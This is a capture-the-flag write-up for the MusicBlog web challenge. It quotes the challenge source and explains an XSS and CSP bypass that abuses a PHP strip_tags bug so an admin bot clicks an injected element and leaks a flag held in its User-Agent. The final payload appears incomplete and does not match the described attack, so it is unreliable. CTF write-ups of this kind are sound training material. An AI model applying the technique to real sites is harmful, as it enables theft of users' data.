Tags: csp-bypass xss strip_tags
Rating:
# ▼▼▼MusicBlog(Web, 653pts, 13/432=3.0%)▼▼▼
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
※Number of teams that answered one or more questions, excluding **Survey** and **Welcome**: 218
⇒13/218=5.0%
---
## 【Check source code】
### 1.init.php
```
header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
```
↓
Since there is a CSP header, there is a high possibility of **XSS questions**.
---
### 2.init.sql
```
INSERT INTO `user` (`username`, `password`, `is_admin`) VALUES (
'admin',
'<censored>',
1
);
```
↓
I found that there is an **admin**.
---
### 3.worker.js
```
const flag = 'zer0pts{<censored>}';
await page.setUserAgent(flag);
```
↓
Flag location is User-Agent header of admin browser.
↓
In order to get the **flag**, if I give **admin access**.
---
```
await page.click('#like');
```
↓
Admin will click tag if I set **id = "like"** in the tag.
---
### 4.utils.php
```
// [[URL]] → <audio src="URL"></audio>
function render_tags($str) {
$str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
$str = strip_tags($str, '<audio>'); // only allows `<audio>`
return $str;
}
```
↓
Investigate **strip_tags()**
https://bugs.php.net/bug.php?id=78814
↓
---
## 【exploit】
`[["></audio>]]`
↓ Access comes from admin
`zer0pts{M4sh1m4fr3sh!!}`